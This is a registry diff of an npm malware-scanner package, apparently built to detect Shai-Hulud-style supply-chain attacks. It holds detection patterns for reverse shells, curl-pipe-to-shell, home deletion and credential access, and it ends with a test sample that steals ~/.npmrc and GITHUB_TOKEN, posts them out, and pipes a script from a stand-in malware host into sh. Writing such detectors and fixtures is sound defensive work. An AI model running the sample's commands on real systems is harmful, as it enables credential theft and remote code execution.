muaddib-scanner 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (41) hide show
  1. package/.github/workflows/scan.yml +33 -0
  2. package/LICENSE +21 -0
  3. package/MUADDIBLOGO.png +0 -0
  4. package/README.md +218 -0
  5. package/action/action.yml +28 -0
  6. package/bin/muaddib.js +84 -0
  7. package/data/iocs.json +38 -0
  8. package/docs/threat-model.md +116 -0
  9. package/iocs/hashes.yaml +220 -0
  10. package/iocs/packages.yaml +265 -0
  11. package/package.json +43 -0
  12. package/results.sarif +379 -0
  13. package/src/index.js +142 -0
  14. package/src/ioc/feeds.js +42 -0
  15. package/src/ioc/updater.js +244 -0
  16. package/src/ioc/yaml-loader.js +96 -0
  17. package/src/report.js +152 -0
  18. package/src/response/playbooks.js +115 -0
  19. package/src/rules/index.js +197 -0
  20. package/src/sarif.js +74 -0
  21. package/src/scanner/ast.js +175 -0
  22. package/src/scanner/dataflow.js +167 -0
  23. package/src/scanner/dependencies.js +110 -0
  24. package/src/scanner/hash.js +68 -0
  25. package/src/scanner/obfuscation.js +99 -0
  26. package/src/scanner/package.js +60 -0
  27. package/src/scanner/shell.js +63 -0
  28. package/src/watch.js +37 -0
  29. package/test/samples/malicious.js +20 -0
  30. package/tests/run-tests.js +363 -0
  31. package/tests/samples/ast/malicious.js +20 -0
  32. package/tests/samples/clean/safe.js +14 -0
  33. package/tests/samples/dataflow/exfiltration.js +20 -0
  34. package/tests/samples/edge/empty/empty.js +0 -0
  35. package/tests/samples/edge/invalid-syntax/broken.js +5 -0
  36. package/tests/samples/edge/large-file/large.js +6 -0
  37. package/tests/samples/edge/non-js/readme.txt +3 -0
  38. package/tests/samples/markers/shai-hulud.js +10 -0
  39. package/tests/samples/obfuscation/obfuscated.js +1 -0
  40. package/tests/samples/package/package.json +9 -0
  41. package/tests/samples/shell/malicious.sh +13 -0
@@ -0,0 +1,110 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const { loadCachedIOCs } = require('../ioc/updater.js');
4
+
5
+ async function scanDependencies(targetPath) {
6
+ const threats = [];
7
+ const nodeModulesPath = path.join(targetPath, 'node_modules');
8
+ const iocs = loadCachedIOCs();
9
+
10
+ if (!fs.existsSync(nodeModulesPath)) {
11
+ return threats;
12
+ }
13
+
14
+ const packages = listPackages(nodeModulesPath);
15
+
16
+ for (const pkg of packages) {
17
+ // Verifie si package connu malveillant (IOCs caches)
18
+ const maliciousPkg = iocs.packages.find(p => p.name === pkg.name);
19
+ if (maliciousPkg) {
20
+ threats.push({
21
+ type: 'known_malicious_package',
22
+ severity: 'CRITICAL',
23
+ message: `Package malveillant connu: ${pkg.name} (source: ${maliciousPkg.source})`,
24
+ file: `node_modules/${pkg.name}`
25
+ });
26
+ continue;
27
+ }
28
+
29
+ // Verifie les fichiers suspects (IOCs caches)
30
+ for (const suspFile of iocs.files || []) {
31
+ const filePath = path.join(pkg.path, suspFile);
32
+ if (fs.existsSync(filePath)) {
33
+ threats.push({
34
+ type: 'suspicious_file',
35
+ severity: 'CRITICAL',
36
+ message: `Fichier Shai-Hulud "${suspFile}" dans ${pkg.name}`,
37
+ file: `node_modules/${pkg.name}/${suspFile}`
38
+ });
39
+ }
40
+ }
41
+
42
+ // Verifie les marqueurs dans package.json
43
+ const pkgJsonPath = path.join(pkg.path, 'package.json');
44
+ if (fs.existsSync(pkgJsonPath)) {
45
+ const pkgContent = fs.readFileSync(pkgJsonPath, 'utf8');
46
+ const pkgJson = JSON.parse(pkgContent);
47
+ const scripts = pkgJson.scripts || {};
48
+
49
+ // Verifie les marqueurs Shai-Hulud
50
+ for (const marker of iocs.markers || []) {
51
+ if (pkgContent.includes(marker)) {
52
+ threats.push({
53
+ type: 'shai_hulud_marker',
54
+ severity: 'CRITICAL',
55
+ message: `Marqueur "${marker}" detecte dans ${pkg.name}`,
56
+ file: `node_modules/${pkg.name}/package.json`
57
+ });
58
+ }
59
+ }
60
+
61
+ // Verifie les lifecycle scripts
62
+ if (scripts.preinstall || scripts.postinstall) {
63
+ threats.push({
64
+ type: 'lifecycle_script_dependency',
65
+ severity: 'MEDIUM',
66
+ message: `Dependance "${pkg.name}" a un script ${scripts.preinstall ? 'preinstall' : 'postinstall'}`,
67
+ file: `node_modules/${pkg.name}/package.json`
68
+ });
69
+ }
70
+ }
71
+ }
72
+
73
+ return threats;
74
+ }
75
+
76
+ function listPackages(nodeModulesPath) {
77
+ const packages = [];
78
+ const items = fs.readdirSync(nodeModulesPath);
79
+
80
+ for (const item of items) {
81
+ if (item.startsWith('.')) continue;
82
+
83
+ const itemPath = path.join(nodeModulesPath, item);
84
+ const stat = fs.statSync(itemPath);
85
+
86
+ if (!stat.isDirectory()) continue;
87
+
88
+ if (item.startsWith('@')) {
89
+ const scopedItems = fs.readdirSync(itemPath);
90
+ for (const scopedItem of scopedItems) {
91
+ const scopedPath = path.join(itemPath, scopedItem);
92
+ if (fs.statSync(scopedPath).isDirectory()) {
93
+ packages.push({
94
+ name: `${item}/${scopedItem}`,
95
+ path: scopedPath
96
+ });
97
+ }
98
+ }
99
+ } else {
100
+ packages.push({
101
+ name: item,
102
+ path: itemPath
103
+ });
104
+ }
105
+ }
106
+
107
+ return packages;
108
+ }
109
+
110
+ module.exports = { scanDependencies };
@@ -0,0 +1,68 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const crypto = require('crypto');
4
+ const { loadCachedIOCs } = require('../ioc/updater.js');
5
+
6
+ async function scanHashes(targetPath) {
7
+ const threats = [];
8
+ const iocs = loadCachedIOCs();
9
+ const knownHashes = iocs.hashes || [];
10
+
11
+ if (knownHashes.length === 0) {
12
+ return threats;
13
+ }
14
+
15
+ const nodeModulesPath = path.join(targetPath, 'node_modules');
16
+
17
+ if (!fs.existsSync(nodeModulesPath)) {
18
+ return threats;
19
+ }
20
+
21
+ const jsFiles = findAllJsFiles(nodeModulesPath);
22
+
23
+ for (const file of jsFiles) {
24
+ const hash = computeHash(file);
25
+
26
+ if (knownHashes.includes(hash)) {
27
+ threats.push({
28
+ type: 'known_malicious_hash',
29
+ severity: 'CRITICAL',
30
+ message: `Hash malveillant detecte: ${hash.substring(0, 16)}...`,
31
+ file: path.relative(targetPath, file)
32
+ });
33
+ }
34
+ }
35
+
36
+ return threats;
37
+ }
38
+
39
+ function computeHash(filePath) {
40
+ const content = fs.readFileSync(filePath);
41
+ return crypto.createHash('sha256').update(content).digest('hex');
42
+ }
43
+
44
+ function findAllJsFiles(dir, results = []) {
45
+ if (!fs.existsSync(dir)) return results;
46
+
47
+ const items = fs.readdirSync(dir);
48
+
49
+ for (const item of items) {
50
+ const fullPath = path.join(dir, item);
51
+
52
+ try {
53
+ const stat = fs.statSync(fullPath);
54
+
55
+ if (stat.isDirectory()) {
56
+ findAllJsFiles(fullPath, results);
57
+ } else if (item.endsWith('.js')) {
58
+ results.push(fullPath);
59
+ }
60
+ } catch (e) {
61
+ // Ignore les erreurs de permission
62
+ }
63
+ }
64
+
65
+ return results;
66
+ }
67
+
68
+ module.exports = { scanHashes, computeHash };
@@ -0,0 +1,99 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+
4
+ function detectObfuscation(targetPath) {
5
+ const threats = [];
6
+ const files = findJsFiles(targetPath);
7
+
8
+ for (const file of files) {
9
+ const content = fs.readFileSync(file, 'utf8');
10
+ const relativePath = path.relative(targetPath, file);
11
+
12
+ const signals = [];
13
+ let score = 0;
14
+
15
+ // 1. Ratio code sur une seule ligne
16
+ const lines = content.split('\n').filter(l => l.trim());
17
+ const longLines = lines.filter(l => l.length > 500);
18
+ if (lines.length > 0 && longLines.length / lines.length > 0.3) {
19
+ score += 25;
20
+ signals.push('long_single_lines');
21
+ }
22
+
23
+ // 2. Hex escapes massifs
24
+ const hexMatches = content.match(/\\x[0-9a-fA-F]{2}/g) || [];
25
+ if (hexMatches.length > 20) {
26
+ score += 25;
27
+ signals.push('hex_escapes');
28
+ }
29
+
30
+ // 3. Unicode escapes massifs
31
+ const unicodeMatches = content.match(/\\u[0-9a-fA-F]{4}/g) || [];
32
+ if (unicodeMatches.length > 20) {
33
+ score += 20;
34
+ signals.push('unicode_escapes');
35
+ }
36
+
37
+ // 4. Variables style obfuscateur (_0x, _0xabc)
38
+ const obfuscatedVars = content.match(/\b_0x[a-f0-9]+\b/gi) || [];
39
+ if (obfuscatedVars.length > 5) {
40
+ score += 30;
41
+ signals.push('obfuscated_variables');
42
+ }
43
+
44
+ // 5. String arrays suspects
45
+ if (/var\s+\w+\s*=\s*\[(['"][^'"]{0,50}['"],?\s*){10,}\]/.test(content)) {
46
+ score += 25;
47
+ signals.push('string_array');
48
+ }
49
+
50
+ // 6. atob/btoa avec eval
51
+ if (/atob\s*\(/.test(content) && /(eval|Function)\s*\(/.test(content)) {
52
+ score += 30;
53
+ signals.push('base64_eval');
54
+ }
55
+
56
+ if (score >= 40) {
57
+ threats.push({
58
+ type: 'obfuscation_detected',
59
+ severity: score >= 70 ? 'CRITICAL' : 'HIGH',
60
+ message: `Code obfusque (score: ${score}). Signaux: ${signals.join(', ')}`,
61
+ file: relativePath
62
+ });
63
+ }
64
+ }
65
+
66
+ return threats;
67
+ }
68
+
69
+ const EXCLUDED_DIRS = [
70
+ 'test',
71
+ 'node_modules',
72
+ '.git',
73
+ 'src'
74
+ ];
75
+
76
+ function findJsFiles(dir) {
77
+ const results = [];
78
+
79
+ if (!fs.existsSync(dir)) return results;
80
+
81
+ const items = fs.readdirSync(dir);
82
+
83
+ for (const item of items) {
84
+ if (EXCLUDED_DIRS.includes(item)) continue;
85
+
86
+ const fullPath = path.join(dir, item);
87
+ const stat = fs.statSync(fullPath);
88
+
89
+ if (stat.isDirectory()) {
90
+ results.push(...findJsFiles(fullPath));
91
+ } else if (item.endsWith('.js')) {
92
+ results.push(fullPath);
93
+ }
94
+ }
95
+
96
+ return results;
97
+ }
98
+
99
+ module.exports = { detectObfuscation };
@@ -0,0 +1,60 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+
4
+ const SUSPICIOUS_SCRIPTS = [
5
+ 'preinstall',
6
+ 'postinstall',
7
+ 'preuninstall',
8
+ 'postuninstall'
9
+ ];
10
+
11
+ const DANGEROUS_PATTERNS = [
12
+ { pattern: /curl\s+.*\|.*sh/, name: 'curl_pipe_sh' },
13
+ { pattern: /wget\s+.*\|.*sh/, name: 'wget_pipe_sh' },
14
+ { pattern: /eval\s*\(/, name: 'eval_usage' },
15
+ { pattern: /child_process/, name: 'child_process' },
16
+ { pattern: /\.npmrc/, name: 'npmrc_access' },
17
+ { pattern: /GITHUB_TOKEN/, name: 'github_token_access' },
18
+ { pattern: /AWS_/, name: 'aws_credential_access' },
19
+ { pattern: /base64/, name: 'base64_encoding' }
20
+ ];
21
+
22
+ async function scanPackageJson(targetPath) {
23
+ const threats = [];
24
+ const pkgPath = path.join(targetPath, 'package.json');
25
+
26
+ if (!fs.existsSync(pkgPath)) {
27
+ return threats;
28
+ }
29
+
30
+ const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
31
+ const scripts = pkg.scripts || {};
32
+
33
+ for (const scriptName of SUSPICIOUS_SCRIPTS) {
34
+ if (scripts[scriptName]) {
35
+ const scriptContent = scripts[scriptName];
36
+
37
+ threats.push({
38
+ type: 'lifecycle_script',
39
+ severity: 'MEDIUM',
40
+ message: `Script "${scriptName}" detecte. Vecteur d'attaque courant.`,
41
+ file: 'package.json'
42
+ });
43
+
44
+ for (const { pattern, name } of DANGEROUS_PATTERNS) {
45
+ if (pattern.test(scriptContent)) {
46
+ threats.push({
47
+ type: name,
48
+ severity: 'HIGH',
49
+ message: `Pattern dangereux "${name}" dans script "${scriptName}".`,
50
+ file: 'package.json'
51
+ });
52
+ }
53
+ }
54
+ }
55
+ }
56
+
57
+ return threats;
58
+ }
59
+
60
+ module.exports = { scanPackageJson };
@@ -0,0 +1,63 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+
4
+ const MALICIOUS_PATTERNS = [
5
+ { pattern: /curl.*\|.*sh/, name: 'curl_pipe_shell', severity: 'HIGH' },
6
+ { pattern: /wget.*&&.*chmod.*\+x/, name: 'wget_chmod_exec', severity: 'HIGH' },
7
+ { pattern: /bash\s+-i\s+>&\s+\/dev\/tcp/, name: 'reverse_shell', severity: 'CRITICAL' },
8
+ { pattern: /nc\s+-e\s+\/bin\/(ba)?sh/, name: 'netcat_shell', severity: 'CRITICAL' },
9
+ { pattern: /rm\s+-rf\s+(~\/|\$HOME|\/home)/, name: 'home_deletion', severity: 'CRITICAL' },
10
+ { pattern: /shred.*\$HOME/, name: 'shred_home', severity: 'CRITICAL' },
11
+ { pattern: /curl.*-X\s*POST.*-d/, name: 'curl_exfiltration', severity: 'HIGH' },
12
+ { pattern: /\.npmrc/, name: 'npmrc_access', severity: 'HIGH' },
13
+ { pattern: /\.ssh/, name: 'ssh_access', severity: 'HIGH' }
14
+ ];
15
+
16
+ async function scanShellScripts(targetPath) {
17
+ const threats = [];
18
+
19
+ // Cherche les fichiers .sh
20
+ const files = findFiles(targetPath, '.sh');
21
+
22
+ for (const file of files) {
23
+ const content = fs.readFileSync(file, 'utf8');
24
+
25
+ for (const { pattern, name, severity } of MALICIOUS_PATTERNS) {
26
+ if (pattern.test(content)) {
27
+ threats.push({
28
+ type: name,
29
+ severity: severity,
30
+ message: `Pattern malveillant "${name}" detecte.`,
31
+ file: path.relative(targetPath, file)
32
+ });
33
+ }
34
+ }
35
+ }
36
+
37
+ return threats;
38
+ }
39
+
40
+ function findFiles(dir, extension) {
41
+ const results = [];
42
+
43
+ if (!fs.existsSync(dir)) return results;
44
+
45
+ const items = fs.readdirSync(dir);
46
+
47
+ for (const item of items) {
48
+ if (item === 'node_modules' || item === '.git') continue;
49
+
50
+ const fullPath = path.join(dir, item);
51
+ const stat = fs.statSync(fullPath);
52
+
53
+ if (stat.isDirectory()) {
54
+ results.push(...findFiles(fullPath, extension));
55
+ } else if (item.endsWith(extension)) {
56
+ results.push(fullPath);
57
+ }
58
+ }
59
+
60
+ return results;
61
+ }
62
+
63
+ module.exports = { scanShellScripts };
package/src/watch.js ADDED
@@ -0,0 +1,37 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const { run } = require('./index.js');
4
+
5
+ let debounceTimer = null;
6
+
7
+ function watch(targetPath) {
8
+ console.log(`[MUADDIB] Surveillance de ${targetPath}\n`);
9
+ console.log('[INFO] Ctrl+C pour arreter\n');
10
+
11
+ // Scan initial
12
+ run(targetPath, { json: false });
13
+
14
+ // Surveille les changements
15
+ const watchPaths = [
16
+ path.join(targetPath, 'package.json'),
17
+ path.join(targetPath, 'package-lock.json'),
18
+ path.join(targetPath, 'node_modules')
19
+ ];
20
+
21
+ for (const watchPath of watchPaths) {
22
+ if (fs.existsSync(watchPath)) {
23
+ fs.watch(watchPath, { recursive: true }, (eventType, filename) => {
24
+ if (debounceTimer) clearTimeout(debounceTimer);
25
+
26
+ debounceTimer = setTimeout(() => {
27
+ console.log(`\n[CHANGE] ${filename} modifie`);
28
+ console.log('[MUADDIB] Re-scan...\n');
29
+ run(targetPath, { json: false });
30
+ }, 1000);
31
+ });
32
+ console.log(`[WATCH] ${watchPath}`);
33
+ }
34
+ }
35
+ }
36
+
37
+ module.exports = { watch };
@@ -0,0 +1,20 @@
1
+ // Exemple de code malveillant style Shai-Hulud
2
+ const fs = require('fs');
3
+ const https = require('https');
4
+ const { exec } = require('child_process');
5
+
6
+ // Vol de credentials
7
+ const npmrc = fs.readFileSync(process.env.HOME + '/.npmrc', 'utf8');
8
+ const token = process.env.GITHUB_TOKEN;
9
+
10
+ // Exfiltration
11
+ const data = JSON.stringify({ npmrc, token });
12
+ const req = https.request('https://api.github.com/repos', {
13
+ method: 'POST',
14
+ headers: { 'Content-Type': 'application/json' }
15
+ });
16
+ req.write(data);
17
+ req.end();
18
+
19
+ // Execution de commande
20
+ exec('curl https://malware.com/payload.sh | sh');